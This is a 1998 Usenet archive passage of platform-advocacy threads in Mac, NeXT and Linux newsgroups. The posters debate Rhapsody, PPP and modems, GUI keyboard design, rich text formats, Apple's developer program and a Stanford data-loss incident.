In article <joe.ragosta-1004981028520001@wil82.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>That wasn't my perception of the article. But if it's true, it still
>doesn't change anything. They went to a Windows centric solution (if only
>the Windows users were backed up) and screwed the people who relied on
>them.
That's not a criticism of a Windows, but a criticism of a centralized
solution. Any backup solution is subject to human failure.
Note that centralized failure is not the only issue here, since
presumably those backups have previously been very useful in recovering
data users had accidentally deleted. So in the absence of foolish
administrators the system has considerable benefits.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 22:54:57 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm801$hom$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <6gajkm$9oq$1@ns3.vrx.net> <6ggmbv$1kt$5@quasar.dimensional.com> <6gg7a3$nnc$1@ns3.vrx.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gg7a3$nnc$1@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <6ggmbv$1kt$5@quasar.dimensional.com> Kenneth R. Kinder claimed:
>> I'll put money on that. $20 says that PPP will NOT be the primary dialup
>> method in 2001.
> Done. I'll even accept CDN if you lose, and pay US if you win.
What's CDN?
I put a little thingie in my calandar with my email address... Email me if
you change it in the next three years...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:06:46 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm8m6$hom$3@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6ggsgj$fit$9@anvil.BLaCKSMITH.com> , Charles Swiger <chuck-nospam@blacksmith.com> wrote:
> Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
> [ ... ]
>> From a programmer's point of view, the phone system is a hack. There isn't
>> an elegant way to connect to the Internet without spending gobs of money.
> Please. The phone system (in particular, the AT&T system in the US, although
> I understand parts of Europe like West Germany have really gotten on the
> ball, too) is the most amazingly stable, redundant, and functional
> communications system ever developed.
Yeah, 50 years ago! I read about a team of scientists who told the phone
companies -- in the 60s -- that they needed to move to a protocal-based
system. Of course, they were right.
Read my other reply, where I expand on it all....
> Any networking equipment designed to specs like a maximum per-incident
> failover time of 5 seconds, with a max total failure time of 60 seconds over
> a decade-plus lifetime like many of the current centrex switches is
> impressive.
That's nice 50 years ago, but move on! In at least the 80s, we should have
moved to a protocal system, that would be finishing up now.
> [ ... ]
>> Actually, I'm kind of sick of the whole idea of modulization.
> I've been trying to go to bat for you with Malcolm re: your potential coding
> skills, and you say this? I may have to give up my optimistic
> perspective.... :-)
You think converting digital to analog audio and then back again... is
elegant? That statement isn't so much from a programming, but from an
engineering prespective... Again, read my other reply to that article.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:02:48 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm8eo$hom$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggo0q$47c$1@interport.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6ggo0q$47c$1@interport.net> , float@interport.net wrote:
> kt$6@quasar.dimensional.com>
> Distribution:
> Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
> : > SLIP was a hack. This is well known. PPP is robust
> : > and extensible. You practically can't compare the two.
> : Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
> : modulization system is a hack! 56k is an even bigger double hack! ISDN is
> : even a hack!
> PPP is fairly well written. SLIP was *explicitly* a hack; it was written
> as a short-term solution, and its author acknowledged that it was a hack.
PPP's better than slip, but they're both hacks! The invention of the modem
is a hack! Elegance is ATM or Ethernet.
> : From a programmer's point of view, the phone system is a hack. There isn't
> : an elegant way to connect to the Internet without spending gobs of money.
> That's a fact that bothers me on a daily basis.
> : Actually, I'm kind of sick of the whole idea of modulization.
> Care to expand on this?
Modems. Modulization of digital data into an analog form (analog audio,
even!) and then back again is udderly insane! If we had competition in the
phone system (and I mean real competition), perhaps in the 70s or at least
the 80s, a protocal-based infostructure would have been established.
What really sickens me is the way the phone companies are reacting now.
It's their fault we're stuck with this idiotic system, and they're trying to
pass it off as ideal! (at least where I live). In Colorado, we have USWest
as our primary local phone service. They run commercails advertising second
lines for your modem, fax machine, and voice. Now, they're even starting an
ISP! I really enjoy this line: "We make the Internet as easy as your
phone." -- OH BROTHER. The phone system was fine for Alexander Bell,
around 100 years ago, but it's an abombination now! How the hell is it
"easy" to remember arbitrary numbers that are sent at sound frequences that
are related to the functional equivilant of a netword address. Unstead of
modeling the Internet after the phone system, and installing more and more
idiotic "area codes," the phone system needs to be totally phased out.
I just get tired of utility companies -- those who control how networks are
laid hacking around their own idiotic systems unstead of replacing them.
Not that the last few paragraphs have much to do with PPP or Slip... :)
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:08:14 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm8ou$hom$4@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <6ggsgj$fit$9@anvil.BLaCKSMITH.com> <6gh9i2$oop$8@ironhorse.plsys.co.uk> <6gis4a$6j$3@anvil.BLaCKSMITH.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gis4a$6j$3@anvil.BLaCKSMITH.com> , Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>>>> Actually, I'm kind of sick of the whole idea of modulization.
>>> I've been trying to go to bat for you with Malcolm re: your potential
>>> coding skills, and you say this? I may have to give up my optimistic
>>> perspective.... :-)
>> I think you owe me a bar of chocolate, Chuck! :-)
> Deal. Hopefully I'll be at WWDC....
Actually... if you guys wanna see my code, I'm starting this weekend on a
free accounting program... Perhaps I could forward you some
pre-pre-pre-alpha code in a few days...
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:10:47 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm8tn$hom$5@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <352C14BD.D93282EC@cisco.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <352C14BD.D93282EC@cisco.com> , Barry Friedman <friedman@cisco.com> wrote:
>> Oh com'on! PPP isn't a hack? PPP is a better done hack! The whole
>> modulization system is a hack!
> How so?
Digital -> Audio/Analog -> Digital
As apposed to:
Digital
>> 56k is an even bigger double hack! ISDN is even a hack!
>> From a programmer's point of view, the phone system is a hack. There isn't
>> an elegant way to connect to the Internet without spending gobs of money.
> Whatever.
>>>> Already, many new replacements for the PPP protocal are out, and
>>>> being refined.
>>> OK, I'm curious. Could you name them please? Refs to internet drafts
>>> would be helpful.
>> Not off the top of my head...
> OK, whenever.
Stay tuned to Wired News' technology section (could'a been slashdot.org)...
I think they reviewed an alternative a while ago, they probably will again.
>>>> PPP will not be obsoleted by optical cable as you seem to think,
>>>> but by newer protocals that are more robust, and hopefully, with
>>>> cryptography.
>>> Why not just get these via extensions to PPP? See
>>> http://www.ietf.org/html.charters/pppext-charter.html for details.
>> Actually, I'm kind of sick of the whole idea of modulization.
> What's your alternative?
A digital protocal-based system. Read that other post... the really long
one up a little in the thread. :)
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 10 Apr 1998 19:24:48 -0400
Organization: Virginia Tech, Blacksburg, Virginia
Message-ID: <6gm9o0$evt$1@crib.bevc.blacksburg.va.us>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d79pa7.1p6xv2b1siqthcN@dialup-73.def.oleane.com> <6gm1of$7j4$6@anvil.BLaCKSMITH.com> <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>
In article <1d7amvt.xk9qhj1mobulqN@dialup-202.def.oleane.com>, bl003@dial.oleane.com (Benoit Leraillez) wrote:
> We lost so much money and time with OpenDoc that we'll care about
> Rhapsody when it ships. Sure I'll to take a look at it on my spare time
> but we won't put a drop of sweat on VaporWare (aka the next neXt) until
> it is sold, installed, running on machines, consumer machines. I'm not
> into DreamOs, the coming revolutionary OS with a potentially
> hypothetical market. I'll think about it when it's a reality with at
> least ten times more users than Jobs PreviouX OS.
If everyone sits around and waits until Rhapsody has a market size of
X, rather than buying it and/or developing for it, can you guess the
likely outcome?
Me, I'm willing to put time and effort into a system that gets the
job done better than any other, and do what I can to _make_ it a good
platform.. if no one did, then nothing new would ever get used.
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:18:48 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm9co$hom$6@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com> <3523c525.0@206.25.228.5> <6g6g7e$atu$5@quasar.dimensional.com> <6g8no9$627$1@interport.net> <6gaur3$fhe$7@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gaur3$fhe$7@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <6g8no9$627$1@interport.net> float@interport.net wrote:
> Kenneth R. Kinder (Ken@_$spamless$_KenAndTed.com) wrote:
>> : Anyway, I have yet to see a GUI that doesn't rely too much on a mouse,
>> : besides the Word Perfect 6 for DOS one.
> As far as I can tell, Windows does allow for pretty much the whole UI to be
> navigated without a mouse.
You, know, it can, but it's not quick enough. Word Perfect though, allows
for a great level of productivity with the keyboard. WP really does a
fantastic job; a model for me, if I design a GUI in the near future.
>> Yes, my biggest problem with NeXTStep is that it's impossible to get
>> away with using only the keyboard, for most things. Even Win3.1 was
>> better about that.
> A recognised failing in NEXTSTEP, which OPENSTEP addresses. If you compare
> NEXTSTEP and OPENSTEP applications you will find that the latter are much
> more readily navigated using a mouse.
I think every GUI needs to re-evaluate how it uses the keyboard.
Especially... dare I say... most X widgets (including gtk).
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:24:17 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gm9n1$hom$7@quasar.dimensional.com>
References: <6gaur3$fhe$7@ironhorse.plsys.co.uk> <B14E8634-BD713@206.165.43.126>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <B14E8634-BD713@206.165.43.126> , Lawson English <english@primenet.com> wrote:
> I think that he was saying that he wanted to use the keyboard for most
> things.
Exactly.
> Which is kinda silly, IMHO.
Well, that's your humble opinion. Not mine. I like keyboards. Generally,
I don't like mice.
> Keyboards aren't useful for a lot of tasks as compared to the mouse.
Only because of the GUI design. It's just faster with the keyboard, if it's
done right.
> And if you want to batch-process something in Rhaposdy, AS-style scripting
> should be available for virtually every human-interface task anyway.
I've realized the importance of the "human-interface" guidelines for you,
but I don't hold much faith in them, based on how the Mac UI turned out.
Most X widgets (especially Xt/Xaw) even do a lousy job, compared to the
usual level of well-thought-out flexibility I've found in Unix software.
It's a great windowing system, though!! :)
Anyway, I think the whole GUI needs to be revamped from scrach,
rethoughtout. Honestly, I don't even like the layered window idea all that
much, although it seems that it's not going away any time seen. Having a
user interface that has visual enhancements is genius. But I don't think
there's been enough study on what takes up user time in GUIs.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:29:14 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gma0a$hom$8@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.dimensional.com> <6ga6l3$fhe$6@ironhorse.plsys.co.uk> <6ggk8f$1kt$1@quasar.dimensional.com> <6ggslk$oop$4@ironhorse.plsys.co.uk>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6ggslk$oop$4@ironhorse.plsys.co.uk> , mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>>>>> What alternative rich text format would you have chosen?
>>>> It wasn't around then, but I would go with XML. There are lots of
>>>> possibilities: html, sgml, tex, ect...
>>> Umm, for Ken and for Lawson: the choice was made around 1988.
>> Umm, for Mmalc and anyone else who didn't read what I said: "It wasn't around
>> then," means that it wasn't around then.
> Yes, I did read that, which is why I couldn't understand your answer; it's
> like answering "How do we get off this island?" with "Imagine we had a
> boat...".
Well, at the time of 1988, I probably would have rolled my own (if I was
feeling ambitious)! :)
>>> Think back to 1988 and then tell us, given NeXT's goal of using standards
>>> where they make sense, and diverging when they could do something
>>> significantly better, tell us again what format you'd have chosen.
>> Tex variants has been around longer than RTF.
> Yes, but we're after a * rich text format* that is readily editable in
> WYSIWYG form by the ordinary person in the street, not a complicated markup
> scheme which takes some people years to master and which requires processing
> to render into output form...
I don't think any supernatural beings have said that tex can't be WYSIWYG
(something like lyx come to mind?)?
Anyway, I'm not out for an OS that six-pack Joe will like, but one that I
will like. Now I'm not a HUGE fan of tex now that XML is out! :) But for
its time, I think it was great!
BTW, my text has just as much wealth as your text!!! :) heheheheh
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Microsoft Faking Testimonials...
Date: Fri, 10 Apr 1998 18:35:11 -0500
Organization: Illinois State University
Message-ID: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Check it out...don't believe the M$ hype...
http://www.abcnews.com/sections/business/DailyNews/microsoft_media980410/index.html
"With antitrust challenges and the launch of Windows
98 looming, Microsoft is reportedly looking to polish its
war-torn image with a series of faux feel-good
testimonials."
I think the feds should just let the case drop, and let the free-market
be the regulator.
--
Eric A. Dubiel; http://www.ilstu.edu/~eadubie
"In the New Day That's Coming - FREEDOM
FOR ALL - Is Our Destiny, Yeah!" -- Robert Miles
<robert-miles@msn.com>, 23am, Freedom
VIEWS EXPRESSED ARE ENTIRELY MY OWN
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 02:14:31 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0904980214320001@192.168.1.3>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3> <6ghg9f$o3$1@news.digifix.com>
In article <6ghg9f$o3$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> On 04/08/98, Jerome Jahnke wrote:
> <snip>
> >Now this is a bunch of bull. Many of us were Associates for one
> >reason and one reason only, access to cheaper equipment. Apple
> >does not lose money by selling me my one machine a year at a low
> >price.
>
> Perhaps. But they do still provide you with all the other
> stuff, the CD's, the mailings etc.. that does cost Apple money.
It don't cost 500 bucks...
Jer,
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 23:33:08 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6gma7k$hom$9@quasar.dimensional.com>
References: <B1494FA4-42091@204.210.20.147>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <B1494FA4-42091@204.210.20.147> , William V. Campbell Jr. <wcampbe1@san.rr.com> wrote:
> Hey guys, take a hint. Rhapsody *is* for the open minded, not for the
> Kenneth Kinders, Rex Rileys et al. of the world. If he has no need for it
> and no desire to try it once it hits the streets, why try to convince him
> otherwise. ( Although I must admit that I have learned a lot from these
> exchanges and they are sometimes very entertaining).
I think the truly open minded don't hold on to the idiotic notion that
everyone should use the same OS, like William V. Campbell Jr's do... <grin>
I'll make you a deal!! I'll use Linux, and you can use Rhapsody! Viollaaa!
The whole zealot conflict is solved!!!!!
[ Further FUD snipped ]
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: pxpst2@vms.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Fri, 10 Apr 1998 19:52:58 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1004981952580001@pelli.pathology.pitt.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <atlauren-0904982127500001@dialin33466.slip.uci.edu> <joe.ragosta-1004981028520001@wil82.dol.net> <6gm4ru$f7b$3@gaia.ns.utk.edu>
In article <6gm4ru$f7b$3@gaia.ns.utk.edu>, veal@utk.edu (David Veal) wrote:
> In article <joe.ragosta-1004981028520001@wil82.dol.net>,
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> >That wasn't my perception of the article. But if it's true, it still
> >doesn't change anything. They went to a Windows centric solution (if only
> >the Windows users were backed up) and screwed the people who relied on
> >them.
>
> That's not a criticism of a Windows, but a criticism of a centralized
> solution. Any backup solution is subject to human failure.
Once the solution is implemented then it should not be subject to human
error ***UNLESS*** some fool/administer decides that something needs to
change and does not test what he is doing first.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 10 Apr 1998 17:33:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1540977-84A8B@206.165.43.22>
References: <6gm9n1$hom$7@quasar.dimensional.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
>
> Anyway, I think the whole GUI needs to be revamped from scrach,
> rethoughtout. Honestly, I don't even like the layered window idea all
that
> much, although it seems that it's not going away any time seen. Having a
> user interface that has visual enhancements is genius. But I don't think
> there's been enough study on what takes up user time in GUIs.
Jef Raskin, father of the Macintosh, agrees with you. He thinks that there
is way too much modularity in applications. An example would be the
distinction made between a word-processsor and spreadsheet. Why can't you
just input a tab-deliminated column of numbers, select them and start
applying formulas, rather than use a separate tool with a seperate
interface?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Thu, 09 Apr 1998 01:40:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Message-ID: <joe.ragosta-0904980140070001@wil68.dol.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> http://www.mercurynews.com/business/center/stanford09.htm
>
> Stanford.edu is the new PosterChild for Apple today in the wake of a
> disaster which cost Windows users dearly. Mac users and Unix mainframes
> emerged unscathed from a network "upgrade" which went arwy. Lost in the
> maintenance were Phd. dissertations, databases, files and research notes
> covering _years_ of work. Stanford Univ. School of Business, Windows-based
> curriculum, has "tarnished" the institution's reputation and "erased"
> years of academic work. The disaster affects 10 - 15 faculty and doctoral
> candidates directly posing a "serious blemish" for the School of Business.
The surprising thing is that they actually came right out and said that
Mac users were exempt from the problems.
Just one more example that where Microsoft wants you to go today may not
be where _you_ want to go.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: peltz@jaka.ece.uiuc.edu (Steve Peltz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 19:42:29 -0500
Organization: NovaNET Learning, Inc.
Message-ID: <6gme9l$peo$1@jaka.ece.uiuc.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <01bd63f6$a5dbec00$c07498cf@edwint.rauland.com>
In article <01bd63f6$a5dbec00$c07498cf@edwint.rauland.com>,
Edwin E. Thorne <edwin.thorne@rauland.com> wrote:
>Let's apply a little honesty here. The same thing would have happened to
>either the Mac or Unix users if their servers were not backed up.
Ah, but they're Mac and Unix users, and administrators, which means they've
already demonstrated that they're too smart to do something dumb like that!
Windows users have already demonstrated that they ARE dumb enough...
(oh, flame away, it was a joke!)
Date: Thu, 09 Apr 1998 01:35:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904980135340001@wil68.dol.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggrql$oop$1@ironhorse.plsys.co.uk> <6gisof$bht$1@interport.net>
In article <6gisof$bht$1@interport.net>, float@interport.net wrote:
> Have you ever heard of "mindshare"? Sure, it's a buzzword, but
> dereference it and you find something important.
>
> If I had free or cheap access to Rhapsody technology, I would put it on a
> spare PC. If I like Rhapsody, my next machine might be a Mac; the other
> option is Sun's Darwin (the $3000 Ultra 5).
Absolutely true. I wish Apple could afford to give a copy of Rhapsody to
everyone who asks. It won't happen.
>
> I'm not about to write any killer apps for anybody's operating system, but
